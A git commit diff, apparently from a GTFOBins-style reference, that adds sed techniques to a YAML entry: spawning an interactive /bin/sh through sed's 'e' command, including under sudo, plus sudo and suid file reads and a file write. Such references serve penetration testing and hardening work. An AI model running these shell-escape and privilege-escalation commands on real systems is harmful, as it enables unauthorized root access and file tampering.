Add execute-interactive & file-write to sed

This commit is contained in:
Roman Mueller 2018-06-13 12:01:25 +02:00
parent 0d786940c4
commit 3c0e0bf1e3

View File

@ -1,9 +1,9 @@
---
functions:
execute-interactive:
- code: sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
sudo-enabled:
- code: |
LFILE=file_to_read
sudo sed -e '' "$LFILE"
- code: sudo sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
suid-enabled:
- code: |
LFILE=file_to_read
@ -12,4 +12,8 @@ functions:
- code: |
LFILE=file_to_read
sed -e '' "$LFILE"
file-write:
- code: |
LFILE=file_to_write
echo x | sed "s/x/data/;w $LFILE"
---